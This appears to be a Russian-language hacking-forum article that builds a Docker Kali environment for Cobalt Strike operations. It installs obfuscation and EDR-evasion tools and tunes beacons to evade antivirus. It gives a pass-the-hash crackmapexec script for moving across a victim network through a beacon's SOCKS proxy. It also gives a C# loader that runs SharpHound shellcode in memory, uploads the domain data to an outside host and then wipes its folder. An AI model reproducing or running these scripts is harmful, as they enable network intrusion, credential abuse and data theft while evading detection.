apt-get -y install kali-desktop-xfce sudo curl perl python-is-python2 python3 nodejs python3-pip python3-dev python2 bash wget git fontconfig mingw-w64 zsh fzf tigervnc-standalone-server dnsutils net-tools wget nano openjdk-11-jdk proxychains crackmapexec xfce4-terminal wine wine64 spiderfoot nmap locales imagemagick xclip -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold"
apt-get -y purge resolvconf ; update-alternatives --set x-terminal-emulator /usr/bin/xfce4-terminal.wrapper
cat<<'EOF'>/etc/sudoers
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/sbin:/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/usr/local/bin:/root/.local/bin:/root/.local/bin:$NPM_PACKAGES/bin:/bin:/usr/llvm-mingw"
root ALL=(ALL) NOPASSWD: ALL
x ALL=(ALL) NOPASSWD: ALL
%sudo ALL=(ALL) NOPASSWD: ALL
EOF
#install pip2
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py ; python get-pip.py
#golang latest
wget -O /tmp/go.tar.gz https://dl.google.com/go/go1.16.5.linux-amd64.tar.gz
rm -rf /usr/local/go && tar -C /usr/local -xzf /tmp/go.tar.gz ; export GOROOT=/usr/local/go ; export PATH=$PATH:/usr/local/go/bin
#PEzor true install
git clone https://github.com/phra/PEzor /opt/PEzor ; cd /opt/PEzor ; git pull ; sed -i 's+golang++g' install.sh ; printf "Y" | bash install.sh
pezc="/opt/PEzor/PEzor.sh" ; sed -i 's+SGN=false+SGN=true+g' $pezc
sed -i 's+BLOB=false+BLOB=true+g' $pezc ; sed -i 's+FORCED_BITS=false+FORCED_BITS=true+g' $pezc ; sed -i 's+SYSCALLS=false+SYSCALLS=true+g' $pezc
sed -i 's+UNHOOK=false+UNHOOK=true+g' $pezc ; sed -i 's+ANTIDEBUG=false+ANTIDEBUG=true+g' $pezc ; sed -i 's+SDK=4.0+SDK=4.8+g' $pezc
echo 'export PATH=$PATH:~/go/bin/:/opt/PEzor:/opt/PEzor/deps/donut_v0.9.3/:/opt/PEzor/deps/wclang/_prefix_PEzor_/bin/' >> /root/.bashrc
echo 'export PATH=$PATH:~/go/bin/:/opt/PEzor:/opt/PEzor/deps/donut_v0.9.3/:/opt/PEzor/deps/wclang/_prefix_PEzor_/bin/' >> /root/.zshrc
Тут следует отметить, что golang (google language) намеренно взят с официального сайта, т.к. в репозитории Kali почему-то нет свежих версий. Так же был установлен PEzor и изменены начальные установки. Установлен он по двум причинам: первая и основная - в скрипте-установщике PEzor есть необходимые утилиты, такие как sgn, donut и wclang. вторая - конечно сам PEzor. Лично я не особенно люблю этот фреймворк, но кто-то всегда найдет тут что подсмотреть и потренироваться, хотя-бы в применении ReflectiveLoader. Тема - офигенно-крутая, инфы по ней море. Если ты более-менее собрался осваивать азы пентеста - изучи в первую очередь!
Bash: Скопировать в буфер обмена
Code:
#zsh-terminal-modiifications
cd ; git clone https://github.com/jotyGill/quickz-sh.git ; cd quickz-sh
./quickz.sh ; rm -r ../quickz-sh ; fc-cache -fv
cd /root ; curl -L https://cpanmin.us/ -o /usr/bin/cpanm ; chmod +x /usr/bin/cpanm ; alias cpan=cpanm
yes | cpan Term::ExtendedColor
yes | cpan File::LsColor
git clone git://github.com/trapd00r/ls--.git ; cd ls-- ; perl Makefile.PL ; make && make install ; cp ls++.conf $HOME/.ls++.conf
chsh --shell=/bin/zsh root
wget -O /tmp/theme.tar https://gitlab.com/x4k/pub/-/raw/master/theme.tar ; tar xf /tmp/theme.tar -C /usr/share/themes/
#wallz
wget -O /tmp/wall.zip ; unzip -P #bat
sleep 2 ; wget -O /tmp/bat.deb $(curl -sL https://api.github.com/repos/sharkdp/bat/releases/latest | grep amd64.deb | grep -v musl | grep browser_download_url | head -1 \
| cut -d \" -f 4) && dpkg -i /tmp/bat.deb ; apt-get -y -f install ; echo alias cat="bat --paging never -p --theme 'Monokai Extended Origin'" >> /root/.zshrc
#nanorc
cd ~; wget -nv --show-progress https://raw.githubusercontent.com/ritiek/nanorc/master/install.sh -O- | bash
#ls_colors
mkdir /tmp/LS_COLORS && curl -sL https://api.github.com/repos/trapd00r/LS_COLORS/tarball/master | tar xzf - --directory=/tmp/LS_COLORS --strip=1 &> /dev/null
( cd /tmp/LS_COLORS && sh install.sh ) &> /dev/null
#install icons
wget -qO- https://git.io/papirus-icon-theme-install | sh
Так же для удобства работы, мною были установлены zsh-шелл и различные дополнения, а так же мои обоины, чтобы не было скучно и однообразно, они будут меняться каждый ребут контейнера)) стандартные ls, nano, cat были заменены их современными версиями-имплементациями, мне лишь оставалось их настроить и установить. Что я и с удовольствием сделал) Так же были установлены иконки Papirus (на мой взгляд более яркие, чем те, что идут в комплекте с Kali), моя собственная тема в черных тонах. Если вдруг кому-то что-то не понравится (а таких, как показывает практика, д@хуя, из этого д@хуя процентов 95 - те, кто вообще не в курсе о чем разговор). Так же внутри графического интерфейса, при первом запуске firefox произойдет замена ESR версии на обычную, при этом установится (с небольшими моими модификациями) https://github.com/arkenfox/user.js/raw/master/user.js. Эти настройки лисы помогут Вам серфить анонимно и безопасно. Тема, опять-таки весьма объемна и материала по ней так же вагон и маленькая тележка, поэтому каждый сможет найти информацию по теме легко и непринужденно).
Bash: Скопировать в буфер обмена
Code:
#cobaltstrike
echo 'cd /opt/cobaltstrike && ./start.sh' > /usr/local/bin/cobaltstrike ; chmod +x /usr/local/bin/cobaltstrike
cat<<'EOF'>/usr/share/applications/cobaltstrike.desktop
[Desktop Entry]
Name=Cobalt-Strike
GenericName=Cobalt-Strike
Exec=sudo cobaltstrike
Icon=kali-cadaver
Terminal=false
Type=Application
EOF
#ghidra - NSA reverse
wget -O /tmp/gh.zip $(curl -sL https://api.github.com/repos/NationalSecurityAgency/ghidra/releases/latest | grep -v musl | grep browser_download_url | head -1 | cut -d \" -f 4)
unzip /tmp/gh.zip -d /tmp/ ; mv /tmp/ghidra* /usr/share/ghidra
cat<<'EOF'>/usr/share/applications/ghidra.desktop
[Desktop Entry]
Name=ghidra
Exec=sudo /usr/share/ghidra/ghidraRun
Icon=ghidra
StartupNotify=false
Terminal=false
Type=Application
EOF
#rustscan
wget -O /opt/rustscan.deb $(curl -sL https://api.github.com/repos/RustScan/RustScan/releases/latest | grep amd64.deb | grep -v musl | grep browser_download_url \
| head -1 | cut -d \" -f 4) && dpkg -i /opt/rustscan.deb ; apt-get -y -f install
#oneforall-install
cd /opt
git clone https://github.com/shmilylty/OneForAll.git
mv OneForAll oneforall
cd oneforall
python3 -m pip install -r requirements.txt
cat<<'EOF'>/usr/bin/oneforall
#!/bin/bash
cd /opt/customdir/oneforall
python3 oneforall.py --target $1 run
EOF
chmod +x /usr/bin/oneforall
#pwncat
python3 -m pip install pwncat pe-tree
#chimera
git clone https://github.com/tokyoneon/Chimera /opt/chimera --depth 1
#trans - Google-translate-cli
wget -O /usr/bin/trans git.io/trans && chmod +x /usr/bin/trans
#one-lin3r
pip3 install one-lin3r pefile
#garble
GO111MODULE=on go get mvdan.cc/garble
#scarecrow
git clone https://github.com/optiv/ScareCrow /opt/ScareCrow ; cd /opt/ScareCrow
apt-get -y install osslsigncode ; go get github.com/fatih/color ; go get github.com/yeka/zip ; go get github.com/josephspurrier/goversioninfo
go build . ; mv ScareCrow /usr/local/bin ; cd /opt ; rm -r ScareCrow
#Creds - Windows-Helpers
git clone --raecurse-submodules https://github.com/vxunderground/WinAPI-Tricks /opt/WinAPI-Tricks
git clone --recurse-submodules https://github.com/S3cur3Th1sSh1t/Creds.git /opt/S3cur3Th1sSh1t
git clone --recurse-submodules https://github.com/mgeeky/Penetration-Testing-Tools /opt/mcgeeky
apt-get -y install nishang ; ln -s /usr/share/nishang /opt/nishang
#pe-tree
pip3 install pe-tree libtmux docutils
#ARSENAL CHEATSHIT
git clone https://github.com/Orange-Cyberdefense/arsenal.git /usr/share/myarsenal
ln -s /usr/share/myarsenal/run /usr/local/bin/arsenal ; echo 'alias a="arsenal"' >> /root/.zshrc ; echo "bindkey -s '^g' 'a\n'" >> /root/.zshrc
#install wine32
dpkg --add-architecture i386 && apt-get update && apt-get -y install wine32 wine64
#TDM-GCC compiller
wget -O /tmp/tdm.7z https://repo.x4k.dev/tdm.7z ; rm -r /root/.wine &> /dev/null ; mkdir /root/.wine ; cd /root/.wine ; 7z x /tmp/tdm.7z
Как видно из скрипта, помимо самого кобальт-страйка, я так же установил в систему следующие opensource-недоделки:
* GHIDRA - утилита из утечки Национальной Службы Безопасности Америки, которая стала популярна (еще бы), да и еще появился свой репозиторий github. Альтернатив - нет (ну я не беру любительские полу-клоны, реальной действительно нет). Позволяет если и не декомпилировать бинарник, так точно узнать что и как работает. Впрочем, мои нынешние биконы ей пока не по зубам ;-)
* rustscan - позволит Вам осканировать сеть либо ip-адрес в тысячу (не шутка) раз быстрее nmap. Имею ввиду отстук по портам. Применение?)) Ну например 'rustscan -u 192.168.0.0/16 -p 3309,445' =)
* oneforall - лучший, по моему мнению и самый быстрый фузер сабдоменов. позволяет обнаруживать сети с точностью еврея-ломбардиста. хотя, почему-то (как и весь современный, более-менее сереьзный софт) - родом из Поднебесной
* pwncat - netcat на стимулятор, первые три буквы говорят сами за себя
* chimera - обфускация powershell скриптов, имеет множество функций. лично я использую для преобразования в числовой формат. например `chimera -l 3 -d -f /path/to/script.ps1 -o /tmp/obfu.ps1`. Подставьте вместо -d -a - получите полный функционал
* trans - очень удобный переводчик прямо в терминале, так же легко-применисый на практике, например `trans "Привет, Медвед" -t en`
* one-lin3r - так же утилита из разряда Twix - внутри куча способов запустить/дропнуть/шеллнуть супостата. Весьма полезная штука
* garble - компилятор (обфускатор) go. смотрите полную документацию по применению. На личном опыте - КПД на уровне 50%
* scarecrow - потрясающая утилита, написанная на golang. "работает" с компонентов активной защиты EDR, так же внутри исходников каждый заинтересованный сможет найти много интересных моментов, таких как ... не буду портить "десерт", заинтересованные - вперед =)
* так же в /opt были клонированы репозитории таких маэстро, как mcgeeky и S3cur3Th1sSh1t, плюс WINAPI-tricks, подсмотрев в которые, каждый найдет немало полезного. очень много "готовых" к употреблению скриптов и программ. если кто вдруг решит пойти еще дальше, советую изучить так же corkami (не клонировал, уровень немного Выше ожидаемого от юзеров этого скрипта) - маг современности Анджи играюче меняет PE с PNG, PDF, ZIP. Я на досуге так же стараюсь обуздать этот волшебный мир... Успехи - так себе))) ну и nishang - уже классика Kali, но от того не менее эффективные скрипты ps. Кстати, неплохо сочитаются с chimera ;-)
* pe-tree - быстрый objdump в графическом исполнении.
* arsenal - нажав CTRL+G либо просто выполнив a - получите очень базу-подсказку практически по всем моментам как пентеста, так и пользования Linux в целом
* TDM-GCC - mingw для wine со встроенной обфускацией типа ... если интересно, узнаете какого типа, остальным же ничего не скажет) на практике - поможет перекомпилировать биконы с минимальными детектом
Так же в файле /root/.zshrc , который является конфигурационным файлом активного шелла (zsh) я добавил несколько полезных функций, которые так же можно выполнть в терминале системы:
* bmcs - выполните в папке с проектом csharp-программы и файлом проекта с расширением .sln и с вероятностью 90% получите скомпилированный и готовый к употреблению (AMSIfail внутри) бинарник в папке /root/xbuilds
* speedtest - название вполне говорящее. комментарии излишне
* getlanding сайт - сп@здит страничку и преобразует внутренние ссылки во внешние. Такое ощущение, будто только что купили на форуме услугу - ЗАКАЖИ ЛЕНДИНГ У НАС И ПОЛУЧИ ЗНАЧОК ЛОХ НА БОЙСКАУТСКИЙ ФРАК =)
* rnd число - выдает случайные цифры-буквы, удобно для генерации паролей и других кодовых фраз
* dn ссылка - очень быстрая загрузка файлов с помощью aria2
* cb файл - скопирует содержимое файла в буфер обмена. жизненно и полезно
* fb64 файл - преобразует содержимое файла в формат base64, выдаст в буфер обмена в таком виде `echo yourbase64 | base64 -d -w0 > /usr/local/bin/yourapp ; chmod +x /usr/local/bin/yourapp'
В /usr/local/bin так же можно найти:
* cusw - скрипт замены обоев рабочего стола
* net-obfuscate - враппер, применив который получите обфускацию .NET ехешника
Нажмите, чтобы раскрыть...
## 4.csInside
При первой загрузке в графическую оболочку, выполните updatecs. Скрипт автоматически загрузит внушительный арсенал утилит для кобальт-страйка, произведет автоматическую обфускацию исполняемых файлов с помощью net-obfuscate, а так же перекомпилирует наши биконы с помощью TDM-GCC (получим минимум детектов). Всем неравнодушным советую поиграть с аргументами компилятора в файле /opt/cobaltstrike/artifactkit/winebuild.sh - практически без крови и пота можно достигнуть 0/77.
Конечно maleable c2profile относится больше ко второй главе (серверной части), но я кратко решил рассказать пару моментов именно тут. Единственная работа, которую интересно было читать - как раз про профили (точнее ее часть), так что очень советую обратить внимание именно на нее, лавры у автора отнимать совсем не хочется, видно что человек небезразличен к тематике. Просто хочу отметить тут, что для выживаемости сервера параметр "host stage" был выставлен на "false". Это обозначает что мы лишены возможности создания staged payloads, так как именно стейджер выдаст в Вашем сервере - кс, а так же позводит любому бикону подключиться к вашей системе. Рафаель полностью солидарен со мной (шутка конечно) и планирует совсем исключить возможность создания таких нагрузок в ближайших версиях CS, о чем он намекает нам при использовании c2lint.
Ну и последнее, что хочу рассказать и подсказать - это использовние и написание .cna скриптов и gui-скрипта, в связке с crackmapexec (смотрим github, штука - просто огонь) и SOCKS4 сервером, запущенным с помощью бикона, поимеем всю сеть условного вражины за короткий промежуток времени. Видео сего действия - у меня на ютуб канале. Ниже - сорс. На этом хочу закончить на такой ноте: не бойтесь эксперементировать, добавлять в мой скрипт свои части кода, в файл docker-compose - свои контейнеры. Это - всего лишь примитивный скелет Вашей лаборатории, где именно Вам известно, что нужно, а что нет. Еще хочу сказать, что вдохновили на эту статью люди, которые просто говорят спасибо в личке и комментариях. А так же admin этого форума. Именно его вежливость заставила меня написать первые материалы для .is Ни на одном другом форуме я больше не присутствую, да и вообще форуме - ... =) В общем всем хорошего настроения))))
Bash: Скопировать в буфер обмена
Code:
#!/bin/bash
cat<<EOF>/etc/proxychains.conf
quiet_mode
dynamic_chain
[ProxyList]
socks4 XHOSTIP 27500
EOF
zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg --forms --title="NetworkAbuser" --width="400" --text="Wait for Starting client... in beacon console" \
--add-entry="network " --add-entry="username " --add-entry="hash " --add-combo="method" --combo-values="put|inject|execute" &> /tmp/.values
CIDR="$(cat /tmp/.values | cut -d'|' -f1)"
USER="$(cat /tmp/.values | cut -d'|' -f2)"
HASH="$(cat /tmp/.values | cut -d'|' -f3)"
METH="$(cat /tmp/.values | cut -d'|' -f4)"
if [ -z "$CIDR" ] || [ -z "$USER" ] || [ -z "$HASH" ] ; then exit 0 ; fi
if test "$METH" = "put" || test "$METH" = "inject" ; then
INPUT="$(zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg --file-selection --title=NetworkAbuser)" ; OUTPUT="$(echo $INPUT | awk -F'/' '{print $NF}')"
elif test "$METH" = "execute" ; then
EXECCMD="$(zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg --title=NetworkAbuser --text='Enter your command...' --width=400 --entry)"
fi
if test "$METH" = "put" ; then
echo "proxychains crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH --put-file $INPUT \\\\Windows\\\\Temp\\\\$OUTPUT -x \\\\Windows\\\\Temp\\\\$OUTPUT" > /tmp/.crackmapexeccmd
elif test "$METH" = "inject" ; then
echo "proxychains crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH -M pe_inject -o PATH=$INPUT" > /tmp/.crackmapexeccmd
elif test "$METH" = "execute" ; then
echo "proxychains crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH -x "$EXECMD"" > /tmp/.crackmapexeccmd
fi
chmod +x /tmp/.crackmapexeccmd ; xfce4-terminal --fullscreen --hide-menubar --hide-toolbar --hide-scrollbar -e 'sudo /tmp/.crackmapexeccmd' --hold
## 4.аКомпот?!
Забыл самое главное: сборка всего с помощью docker-compose. В папке /localhost на хосте есть одноименный файл, который выглядит примерно следующим образом:
C-подобный: Скопировать в буфер обмена
Code:
version: "3.7"
services:
wireguard:
image: jordanpotter/wireguard
container_name: wireguard
restart: unless-stopped
networks:
- backbone
volumes:
- '/etc/wireguard/socks/wg.conf:/etc/wireguard/mullvad.conf'
- '/lib/modules:/lib/modules'
cap_add:
- NET_ADMIN
- SYS_MODULE
sysctls:
- net.ipv4.conf.all.src_valid_mark=1
- net.ipv4.ip_forward=1
suos:
depends_on:
- wireguard
image: kali_suos
container_name: suos
restart: unless-stopped
network_mode: service:wireguard
cap_add:
- NET_ADMIN
volumes:
- '/opt/kali_suos/root:/root'
- '/var/run/docker.sock:/var/run/docker.sock'
command: bash /entrypoint.sh
environment:
- HOSTNAME=$HOSTNAME
acun:
depends_on:
- wireguard
image: 0x4k/acunetix
container_name: acun
restart: unless-stopped
network_mode: service:wireguard
command: bash /start.sh
networks:
backbone:
driver: bridge
А так же файл up.sh
Bash: Скопировать в буфер обмена
Code:
#!/bin/bash
cd /localhost ; docker commit suos kali_suos
export HOSTNAME="$(hostname)" ; docker-compose down --remove-orphans
docker-compose up -d --force-recreate --remove-orphans
Как несложно догадаться - компот - acunetix. Файл up.sh сохранит контейнер в его нынешнем состоянии и пересоздаст заново остальноые (пересоздаст контейнеры - не значит перестроит, имейте ввиду))))
Компот - клиент, для работы с графической оболочкой и приятными бонусами, в виде мультиплатформенности и значка-запуска в трее. Это electron-приложение, которое так же придаст слой "лука" нашей с Вами безопасности, да и к тому же жутко удобное в использовании. Компилируется на хосте командой makeclients, после чего выдает вам ссылку но загрузку версий под Windows и Linux. Да и вообще, я постарался сделать установщик максимально простым и информативным... Понравилось, только честно?)
Прочитать на белом фоне (а самые внимательные уже давно прочитали и установили, ведь все это "висело" у меня в подписи) можно по адресу: https://x4k.tools XD
Обновление: 29 июля
Итак, как я и обещал - годная статья - выкладываю патч XD. Давайте на эту же тему) Итак:
V2.1 - BloodHound
БладХаунд - легендарная собака, многие хотели, но не смогли.
Я сделал следующее: установил сервис на хост (точнее несколько), который слушает на :899 и принимает .зипы, которые генерирует ингестор. Ингестор в свою очередь выполняется fileless, через execute-assembly. Собирается пошагово так: скачивается последний официальный компилированный SharpHound.exe, с помощью donut'a преобразуется в шеллкод с добавлением некоторых аргументов для запуска. Было несколько вариантов, удобнее всего был метод с ReflectiveLoader. Но решил сделать csharp, подумал так будет правильнее. Использовал самый простой RunPE и добавил свои функции. После исполнение шеллкода в памяти, полученный зип-архив "переправляется" на хост, где его и ждет вышеназванный :899 для разбора и анализа. После рабочая папка удаляется. Остальное делает sleep (кто не вкурсе - Рафаель создал свой язык, на котором и написан aggressive script). Немного про БладХаунд: утилита, которая оказывает неоценимую помощь в lateral moving. Строит потрясающие графики, собирает огромное количество информации. В графическом интерфейса, помимо просмотра этой инфы, Вы с легкостью можете узнать "путь" к любому виду Админов и других сказочных существ. Чтобы Вам было проще добираться - стрелки смазаны специальным зельев, которое по клику правой кнопкой мыши в пункт "Help", как ни странно, но предоставляет РЕАЛЬНУЮ помощь, в виде прямых команд, без разгадывания квестов и такие же, без доли стеснения References.
Нажмите, чтобы раскрыть...
Если сказать проще - позволяет без боли, унижений, а главное кучи потраченного времени на ковыряние сети получить "Главный Приз". Итак, основная его действующая часть, которая инициализируется до запуска клиента кс.
Bash: Скопировать в буфер обмена
Code:
#!/bin/bash
rndname="$(curl -s https://gitlab.com/x4k/pub/-/raw/master/names.txt | shuf -n1)"
rm -r /opt/cobaltstrike/custom/sweet/output &> /dev/null ; mkdir /opt/cobaltstrike/custom/sweet/output
wget -qO /tmp/SharpHound.exe https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe
donut -a2 -z2 -i/tmp/SharpHound.exe -p"--NoSaveCache --ZipFilename report --CollectionMethod All" -o /tmp/loader.bin
XBYTES="$(xxd -i /tmp/loader.bin | tail -n1 | cut -d'=' -f2 | head -c-2 | sed 's+ ++g')"
cat<<EOF>/opt/cobaltstrike/custom/sweet/output/$rndname.cs
using System;
using System.IO;
using System.Linq;
using System.Diagnostics;
using System.Threading;
using System.Runtime.InteropServices;
namespace ShellcodeLoader
{
class Program
{
static void Main(string[] args)
{
byte[] x64shellcode = new byte[$XBYTES] {
EOF
xxd -i /tmp/loader.bin | tail -n+2 | head -n-1 >> /opt/cobaltstrike/custom/sweet/output/$rndname.cs
cat<<'EOF'>>/opt/cobaltstrike/custom/sweet/output/$rndname.cs
IntPtr funcAddr = VirtualAlloc(
IntPtr.Zero,
(ulong)x64shellcode.Length,
(uint)StateEnum.MEM_COMMIT,
(uint)Protection.PAGE_EXECUTE_READWRITE);
Marshal.Copy(x64shellcode, 0, (IntPtr)(funcAddr), x64shellcode.Length);
IntPtr hThread = IntPtr.Zero;
uint threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
for (int i = 1; i <= 5; i++) {
Console.WriteLine("Thread paused for {0} second", 5); Thread.Sleep(1000); Console.WriteLine("i value: {0}", i);
}
string tpath = @"C:\ProgramData\mydata" ; var directory = new DirectoryInfo(tpath); string endfile = @"C:\ProgramData\mydata\report.zip";
var myFile = (from f in directory.GetFiles("*.zip") orderby f.LastWriteTime descending select f).First();
string mile = "" + myFile; File.Move(mile, endfile);
System.Net.WebClient Client = new System.Net.WebClient(); Client.Headers.Add("Content-Type", "binary/octet-stream");
string ServerIp = @"http://zxlab.io:899/upload?token=f9403fc5f537b4ab332a";
if (File.Exists(endfile)) {
var result = Client.UploadFile(ServerIp, "POST", endfile); Console.WriteLine("Upload complete! Enjoy XD"); File.Delete(endfile);
} else {
Console.WriteLine("ERROR! CANNOT DETERMINE USERS DOMAIN OR CANNOT CONECT TO LDAP!"); return;
}
Process abominable = new Process(); abominable.StartInfo.FileName = "cmd.exe";
abominable.StartInfo.Arguments = @"/c timeout 10 && rd /q /s C:\ProgramData\mydata";
abominable.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; abominable.Start();
return;
}
[DllImport("kernel32.dll")]
private static extern IntPtr VirtualAlloc(
IntPtr lpStartAddr,
ulong size,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll")]
private static extern IntPtr CreateThread(
uint lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr param,
uint dwCreationFlags,
ref uint lpThreadId);
[DllImport("kernel32.dll")]
private static extern uint WaitForSingleObject(
IntPtr hHandle,
uint dwMilliseconds);
public enum StateEnum
{
MEM_COMMIT = 0x1000,
MEM_RESERVE = 0x2000,
MEM_FREE = 0x10000
}
public enum Protection
{
PAGE_READONLY = 0x02,
PAGE_READWRITE = 0x04,
PAGE_EXECUTE = 0x10,
PAGE_EXECUTE_READ = 0x20,
PAGE_EXECUTE_READWRITE = 0x40,
}
}
}
EOF
sed -i "s+zxlab.io+$HOSTNAME+g" /opt/cobaltstrike/custom/sweet/output/$rndname.cs
mcs -platform:x64 -t:winexe /opt/cobaltstrike/custom/sweet/output/$rndname.cs -out:/opt/cobaltstrike/custom/sweet/output/$rndname.exe
cp /opt/cobaltstrike/custom/sweet/sweet.bak /opt/cobaltstrike/custom/sweet/sweet.cna ; sed -i "s+Bloodhound+$rndname+g" /opt/cobaltstrike/custom/sweet/sweet.cna
И простейший алиас запуска в терминале бикона:
Java: Скопировать в буфер обмена
Code:
alias easyblood {
brm($1, "C:\\ProgramData\\mydata");
bmkdir($1, "C:\\ProgramData\\mydata");
bcd($1, "C:\\ProgramData\\mydata");
bexecute_assembly($1, "custom/sweet/output/Bloodhound.exe");
}
/usr/local/bin/cobalstrike был изменен таким образом:
Bash: Скопировать в буфер обмена
Code:
#!/bin/bash
export PATH=$PATH:~/go/bin/:/opt/PEzor:/opt/PEzor/deps/donut/:/opt/PEzor/deps/wclang/_prefix_PEzor_/bin/
sudo /opt/cobaltstrike/custom/sweet/makeblood.sh && sleep 2 | zenity --window-icon="/usr/share/icons/Papirus/128x128/apps/clamav.svg" --progress --auto-kill \
--auto-close --text='D0nt w0rry. Do b4d th1ngs..' --pulsate --title="_unkn0wn:::CobaltStrike" --no-cancel --width="300"
cd /opt/cobaltstrike
xhost +
./start.sh
Теперь, все, что Вам необходимо сделать: получить АдминАккаунт и выполнить в консоли бикона
easyblood
. Имейте ввиду, что собака работает только в контексте доменаПомимо >@ изменению подверглись многие аспекты "скрипта", увидеть полный и подробный список которых Вы можете в последнем коммите. XD
Очень хочется отметить, что все это протестировано, опробовано и заснято на видео, которое я покажу немного позже ;-) Конкурс (и мой тоже) продолжается ;-)
https://github.com/l4ckyguy/ukn0w/commit/0823f51d01790ef53aa9406f99b6a75dfff7f146?branch=0823f51d01790ef53aa9406f99b6a75dfff7f146&diff=unified